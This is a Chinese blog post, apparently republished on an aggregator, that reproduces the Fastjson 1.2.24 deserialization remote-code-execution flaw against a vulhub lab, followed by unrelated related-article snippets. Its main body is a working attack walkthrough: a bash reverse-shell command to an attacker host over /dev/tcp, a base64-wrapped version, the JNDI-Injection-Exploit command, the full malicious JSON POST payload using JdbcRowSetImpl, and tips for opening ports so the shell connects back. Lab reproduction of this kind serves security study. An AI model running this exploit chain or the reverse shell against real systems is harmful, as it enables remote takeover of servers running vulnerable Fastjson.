Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell

news2025/7/18 18:08:58

文章目录

  • 前言
  • 一、环境搭建
  • 二、漏洞复现准备
  • 三、漏洞复现
  • 四、不成功的原因(排查):
  • 总结


前言

网上文章千篇一律,导致很多人都只会一种方法,只要有一种办法就所有人跟着这个办法去做了,新建java文件,然后用kali的javac去运行,但是他们都不知道kali其实并没有javac,步骤也不清不楚,这就让很多人自己去搜怎么配置javac,网上文章也是不清不楚,直接一条命令就说能解决,完全不管后果是什么,实在看不下去……

正好前几天有猫🐱问我这个漏洞,我就用我自己的简单办法来实现反弹shell,步骤完全没有你看过的那么复杂,跟着来绝对不会错。

漏洞原理这些文字我就不写了,大家自己网上搜吧。


提示:以下是本篇文章正文内容,下面案例可供参考

一、环境搭建

用docker启动vulhub的靶场就行了。
先去github下载一个vulhub靶场,进去fastjson1.2.24。
在这里插入图片描述

docker-compose up -d

在这里插入图片描述

二、漏洞复现准备

上面环境搭好之后,访问8090端口,就能看到。
在这里插入图片描述

看到上面的图片说明成功了,下面开始漏洞复现。

复现之前,只需要安装一个工具。
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

在这里插入图片描述

注意注意注意📢!!!
这里要用两个不同的web服务器,比如我就是拿一台云服务VPS搭建的漏洞靶场,也就是下图这张,为了方便记忆,我就叫他小5。因为尾号有65,所以叫他小5。

在这里插入图片描述

然后,把刚刚下载的JNDI工具放到另一台VPS服务器上,可以理解为我的攻击机。因为尾号是1,为方便记忆,直接叫他老大。

在这里插入图片描述

基础薄弱的小白看到这里可能就已经懵逼了,其实你用vmware虚拟机也是一样的,启动两台不同的虚拟机就行,但是攻击机一定要有java环境。为了方便理解,我画了一张图:

在这里插入图片描述

小5是靶机,真实渗透里,小5就是你要攻击的目标。

老大是攻击机,是下载了 JNDI工具的。真实渗透里,老大就是你自己的电脑。

所以所以所以📢!!小5和老大,你可以用两台虚拟机来搞,比如你想用kali作为你的攻击机,那老大就是你的kali,另一台虚拟机搭建了漏洞环境的,就是你的靶机小5,之所以弄两台,是为了不要让大家漏洞复现的时候,靶机攻击机一起来用,我看很多人都是用kali搭建漏洞环境,然后又用同一台kali来做攻击机,结果实战的时候连监听地址和反弹shell的地址老是傻傻分不清,所以尽量靶机和攻击机分开。(当然了,kali无非也是一个debain系统,也是可以用来做靶机的。不是说kali就非要拿来做攻击机……)

好了,上面都是解释,下面开始复现。

三、漏洞复现

反弹shell的命令是下面这个,9076是监听的端口,可以随意改,合理即可。

bash -i >& /dev/tcp/攻击机ip地址/9076 0>&1

因为我的攻击机IP地址是老大(尾号为1),所以我的反弹shell里的ip地址就要改成这个老大,然后base加密。机密的网站我都给你们找好了:

https://woj.app/jjm/
在这里插入图片描述

加密之后就变成了下面这种格式:

bash -c {echo,命令加密内容}|{base64,-d}|{bash,-i}

接着用老大里的JNDI工具,执行下面的命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密内容}|{base64,-d}|{bash,-i}" -A "攻击机IP"

在这里插入图片描述

紫色的就是payload。

然后另起一个终端,攻击机监听9999端口。为什么是9999?因为往上数第2张图我设置的就是9999端口呀。

在这里插入图片描述

然后到攻击步骤。
注意了,这里的Content-Type字段要application/json。否则不行。

POST / HTTP/1.1
Host: 靶机url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"payload",
        "autoCommit":true
    }
}

bp抓包,然后将Host和payload更改,发送请求:
在这里插入图片描述
成功反弹shell。

在这里插入图片描述

在老大的终端nc监听里,获取到了小5的shell。完美结束。

四、不成功的原因(排查):

1、靶机与攻击机之间是否能相互PING通。
2、payload(紫色的那些)有很多个,一个不行可以换下一个。
3、攻击机的端口是否开启了?因为很多云服务器的端口都是默认关闭的,比如腾讯云,阿里云,你需要去控制台更改安全策略,把你的监听端口以及payload的端口开启,要是嫌麻烦,可以像我一样,把所有端口开启。

以上3点都没问题,300%能复现成功。


总结

不要千篇一律,方法不止一个,不要将简单问题复杂化,看到就烦。明明一个JNDI工具就能解决的事情。

    文章原创,欢迎转载,请注明文章出处: Fastjson 1.2.24 命令执行漏洞复现-JNDI简单实现反弹shell.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/395742.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Azure Function App Deploy Issue

问题&#xff1a;之前一直用vs code 的 Azure Function extension 工具部署&#xff0c;没有什么问题。直到3月份发现 vs code显示部署成功&#xff0c;但是通过 https://<function_name>.scm.azurewebsites.net/DebugConsole 查看上传后的 dll 文件&#xff0c;dll文件根…

每日学术速递3.8

CV - 计算机视觉 | ML - 机器学习 | RL - 强化学习 | NLP 自然语言处理 Subjects: cs.CV 1.Unleashing Text-to-Image Diffusion Models for Visual Perception 标题&#xff1a;释放用于视觉感知的文本到图像扩散模型 作者&#xff1a;Wenliang Zhao, Yongming Rao, Zuya…

【maven 学习记录】

maven 学习记录一、maven基础1. maven是什么2. maven的作用3. maven的下载安装4. maven仓库5. maven坐标6. 第一个maven项目 手工实现7. maven插件8. 依赖管理9. 生命周期二、maven进阶一、maven基础 1. maven是什么 maven的本质是一个项目管理工具&#xff0c;将项目开发和管…

mac电脑解决Error: command failed: npm install --loglevel error --legacy-peer-deps

使用vue create xxx创建vue3项目的时候报错。 解决步骤&#xff1a; 1.sudo npm cache clean --force 2.再次创建就可以成功 补充&#xff1a;网上搜到很多方法&#xff0c;都尝试失败&#xff0c;因为遇到需要打开.vuerc,.npmrc的情况&#xff0c;记录一下怎样找到文件 1. 尝…

xshell的复制ssh渠道和复制会话是什么意思

xshell的复制ssh渠道和复制会话是什么意思1、复制ssh渠道1.1、只打开一个标签页时1.2、复制ssh渠道后1.3、复制第2个ssh渠道后2、复制会话3、两个ssh进程分别复制ssh渠道4、总结1、复制ssh渠道 1.1、只打开一个标签页时 ssh进程有1个&#xff0c;pid是98959。用户是root、终端…

工业级64 位AM6231ASGGGAALW/AM6232ATCGGAALW【处理器】AM6234ATCGGAALW

工业级64 位AM6231ASGGGAALW/AM6232ATCGGAALW【处理器】AM6234ATCGGAALW说明&#xff1a;低成本的AM62x Sitara MPU系列应用处理器专为Linux 应用开发而设计。凭借可扩展的ArmCortex -A53性能和嵌入式功能&#xff0c;例如:双显示支持和3D图形加速&#xff0c;以及广泛的外围设…

Flutter-自定义图标

虽然Flutter有许多内置的icon图标&#xff0c;但是有些特殊功能的话&#xff0c;需要自定义图标或者需要在iconfont 阿里巴巴的图标库里找对应合适的图标。 第一步&#xff1a;在iconfont 阿里巴巴里搜索想要的图标并加入到购物车&#xff0c;点击下载代码后&#xff0c;会生成…

2023增加收入的最佳销售聊天机器人

哈佛大学的研究表明&#xff0c;快乐的客户花费更多。聊天机器人可以很大程度提高客人体验感&#xff0c;可以增加您的销售额。现在&#xff0c;快来get市场上最好的销售聊天机器人并增加您的收入&#xff01; 一、什么是销售聊天机器人&#xff1f; 销售聊天机器人是一种自动…

使用 Wall 教你搭建 照片墙 和 视频墙

下载 Github:https://github.com/super-tongyao/wall 国内仓库&#xff08;不推荐&#xff0c;只做加速访问&#xff0c;无编译包和发行版&#xff0c;以github仓库为准&#xff09;&#xff1a;https://gitee.com/Super_TongYao/wall 推荐github仓库&#xff0c;下载最新版…

演化算法:乌鸦搜索算法 (Crow Search Algorithm)

前言 如果你对这篇文章感兴趣&#xff0c;可以点击「【访客必读 - 指引页】一文囊括主页内所有高质量博客」&#xff0c;查看完整博客分类与对应链接。 在机器学习中&#xff0c;我们所要优化的问题很多时候难以求导&#xff0c;因此通常会采用一些演化算法&#xff08;又称零…

C++——模板

文章目录1 泛型编程2 函数模板2.1 函数模板概念2.2 函数模板格式2.3 函数模板的实例化2.3.1 隐式实例化2.3.1.1 定义2.3.1.2 代码演示2.3.1.3 运行结果2.3.1.4 缺点2.3.2 显式实例化2.3.2.1 格式2.3.2.2 代码演示2.3.2.3 运行结果2.4 模板参数的匹配原则2.4.12.4.22.4.33 类模板…

并发编程的三大挑战之原子性及其解决方案

目录 一、原子性问题 1、带来原子性问题的原因 2、如何解决线程切换带来的原子问题 2.1、使用synchronized关键字来保证 2.2、使用CAS来保证原子性 2.3、使用lock锁来保证 一、原子性问题 1、带来原子性问题的原因 线程切换是带来原子的根本原因&#xff0c;java的并发程…

proteus光敏电阻电路的arduino仿真

虽然Fritzing0.9.10有了仿真的功能&#xff0c;但都是测试板&#xff0c;能够仿真的很有限&#xff0c;所以还是要借助proteus来仿真。这里&#xff0c;我们来实先一个简单的光明电阻的仿真电路。本篇博文&#xff0c;重点演示proteus仿真arduino光敏电阻&#xff0c;arduino采…

Kerberos 域委派攻击之基于资源的约束性委派

CSDN自动迁移博客文章注意区别&#xff1a;约束性委派 不能跨域进行委派&#xff0c;基于资源的约束性委派可以跨域和林如果约束性委派&#xff0c;必须拥有 SeEnableDelegationPrivilege 权限&#xff0c;该特权是敏感的&#xff0c;通常仅授予域管理员。为了使用户/资源更加独…

DDD领域驱动设计初探

DDD 强调领域模型要兼顾业务和技术两个视角。 我们怎么用一套系统化的方法&#xff0c;抽丝剥茧、一步一步地把需求落实到代码呢&#xff1f;咱们看看下面这张图&#xff0c;它表示了领域驱动设计中的主要流程。 领域驱动设计主要的开发流程你可以看到&#xff0c;在整个开发流…

IDEA 实现热部署(社区版)

前言 为什么要热部署&#xff1f; 开发环境下&#xff0c;我们经常对项目代码进行变动&#xff0c;如果每次都重新启动应用会浪费我们大量时间&#xff0c;为此就产生了热部署的方案&#xff0c;可以在不重启的情况下使用新代码。 热部署为了解决的问题有两个: 在开发的时候…

华为网工入门之eNSP小实验(6)--OSPF(一)基础概念及单区域配置

OSPF OSPF属于典型的链路状态路由协议链路状态路由协议的四个步骤: 1.相邻的建立邻居关系2.邻居间的链路间的状态信息(LSA)交互和同步LSDB(链路状态数据库)3.优选路径运算 (SPF算法计算)4.根据最优路径生成路由表项加载到路由表 目前针对ipv4协议使用的是OSPF Version 2(RFC23…

测试测开面试要知道的那些事01

列表与元组的区别列表是动态数组&#xff0c;它们可变且可以重设长度&#xff08;改变其内部元素的个数&#xff09;。元组是静态数组&#xff0c;它们不可变&#xff0c;且其内部数据一旦创建便无法改变。元组缓存于Python运行时环境&#xff0c;这意味着我们每次使用元组时无…

JAVA进阶 —— 集合进阶

目录 一、 双列集合 二、 Map 1. Map的常见API 2. Map的遍历方式 2.1 第一种遍历方式&#xff1a;键找值 2.2 第二种遍历方式&#xff1a;键值对 2.3 第三种遍历方式&#xff1a;Lambda表达式 三、 Map的三种实现类 1. HashMap 2. LinkedHashMap 3. TreeMap 3.1 练…

python智慧校园线上考试在线比赛答题系统平台源码redis

wx供重浩&#xff1a;创享日记 对话框发送&#xff1a;python考试 获取完整源码源文件说明文档配置教程等 在虚拟环境下输入命令“python manage.py runserver”启动项目&#xff0c;然后&#xff0c;访问“http://127.0.0.1:8000”进入网站首页&#xff0c;如图1所示。 注册用…